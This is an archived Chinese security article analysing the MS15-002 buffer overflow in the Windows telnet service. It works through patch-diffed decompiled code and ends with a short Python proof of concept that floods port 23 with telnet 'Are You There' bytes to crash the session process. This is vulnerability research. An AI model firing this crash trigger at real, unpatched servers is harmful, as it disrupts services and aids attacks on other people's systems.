# MS15-002 telnet服务缓冲区溢出漏洞分析与POC构造

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-01-16T01:09:00Z
Canonical: https://wepostx.com/topics/688

> 乌云历史资料归档
>
> **原始作者：** cssembly
> **原始编号：** superkieran-wooyundrops:449
> **原始发布时间：** 2015-01-16 09:09
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 漏洞原理分析

MS15-002是微软telnet服务中的缓冲区溢出漏洞，下面对其原理进行分析并构造POC。
telnet服务进程为tlntsvr.exe，针对每一个客户端连接会相应启动执行一个tlntsess.exe进程，补丁修补的是tlntsess.exe文件，通过补丁比对，确定漏洞位置如下，函数为

```text
#!c++ signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket(CRFCProtocol *this, unsigned __int32 *a2)
```

![原文图片](/media/2016/06/802611ad00e5253de5e42da99a28d83b)

补丁前，该函数分别为：

![原文图片](/media/2016/06/546e4742a0157dfb9b88e35bb05dabde)

补丁后，该函数为：

![原文图片](/media/2016/06/57ef91f5e318040ee822b3231599d61d)

也就是说原来一个缓冲区变成了两个，调用完

```text
#!c++ (*(void (__thiscall **)(CRFCProtocol *, unsigned __int8 **, unsigned __int8 **, unsigned __int8))((char *)&off_1011008 + v12))(v2,&v13,&v9,v6)
```
之后，先对缓冲区中的数据长度进行判断，如果

```text
#!c++ (unsigned int)(v9 - (unsigned __int8 *)&Src - 1) <= 0x7FE
```
则判断目标缓冲区中可容纳字符的个数，如果

```text
#!c++ (unsigned int)((char *)v14 + v7 - (_DWORD)&Dst) >= 0x800
```
则退出，否则执行

```text
#!c++ memcpy_s(v14, (char *)&v18 - (_BYTE *)v14, &Src, v9 - (unsigned __int8 *)&Src)
```
将数据拷贝到Dst缓冲区。
而补丁前，只有一个缓冲区，调用

```text
#!c++ (*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)
```
之前，先对缓冲区中的数据长度进行判定，只有当v13 - &Src <= 2048时才调用，v13 指向可用的缓冲区头部，而

```text
#!c++ (*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)
```
处调用的函数，会对v13的值进行修改，如果调用

```text
#!c++ void __thiscall CRFCProtocol::DoTxBinary(CRFCProtocol *this, unsigned __int8 **a2, unsigned __int8 **a3, unsigned __int8 a4)
```
函数，可以看到函数修改了参数3的值，即*a3 += 3。

![原文图片](/media/2016/06/e7685c8e2e46685a89a9dd8ede0413b0)

经过分析可以知道，如果v13 - &Src =2047，则满足v13 - &Src <= 2048条件，此时如果(*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)调用的是CRFCProtocol::DoTxBinary函数，且执行到了如下指令序列时，显然导致了缓冲区溢出。

```text
#!c++ v7 = *a3; *v7 = -1; v7[1] = -3; v7[2] = a4; v7[3] = 0; *a3 += 3;
```
补丁后的版本，采用两个缓冲区，将临时缓冲区指针v9传递给

```text
#!c++ (*(void (__thiscall **)(CRFCProtocol *, unsigned __int8 **, unsigned __int8 **, unsigned __int8))((char *)&off_1011008 + v12))(v2,&v13,&v9,v6)
```
函数返回后判断v9指向的缓冲区中的数据长度，最后判断目的缓冲区剩余可用空间是否可以容纳v9指向的缓冲区中的数据，即对(unsigned int)((char *)v14 + v7 - (_DWORD)&Dst) >= 0x800的判断。

# 0x01 环境搭建与POC构造

Win7上安装并启动telnet服务端，执行net user exp 123456 /ADD增加用户exp，通过net localgroup TelnetClients exp /ADD将该用户添加至TelnetClients组，这样就能够通过telnet客户端进行登录了。
调试发现

```text
#!c++ signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket(CRFCProtocol *this, unsigned __int32 *a2)
```
中a2为接收到的数据的长度，最大为0x400，v6指向接收到的数据，显然为了触发溢出，必须在调用((&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)时，让数据出现膨胀，保证处理过后的Src缓冲区中的数据长度大于0x800。

![原文图片](/media/2016/06/b410597f3273cfc1f4a2f1f918acedca)

查看(*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)处可以调用的函数，

```text
#!c++ void __thiscall CRFCProtocol::AreYouThere(CRFCProtocol *this, unsigned __int8 **a2, unsigned __int8 **a3, unsigned __int8 a4)
```
显然会导致数据膨胀，a4是接收到的数据中的一个字节，执行后，a3指向的缓冲区中将写入9字节的固定数据。

![原文图片](/media/2016/06/546e4742a0157dfb9b88e35bb05dabde)

通过wireshark截包，简单对协议进行分析，构造POC如下，让程序多次执行CRFCProtocol::AreYouThere函数，最终触发异常。

```text
#!python import socket address = ('192.168.172.152', 23) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(address) data = "\xff\xf6" * 0x200 s.send(data) s.recv(512) s.close()
```
运行poc，在

```text
#!c++ signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket( CRFCProtocol *this, unsigned __int32 *a2)
```
处设置断点，中断后可以看到a2 = 0x400，(DWORD)((DWORD*)(this+0x1E40)+ 0x16c8)指向接收到得数据。

![原文图片](/media/2016/06/f450535cd2d67d3c78083eab38bf8280)

在函数返回前设置断点，执行之后，可以看到__security_check_cookie检测到了栈溢出，触发了异常，中断到调试器。

![原文图片](/media/2016/06/ab5bbad7593019f83ee3e349af574056)

## Replies
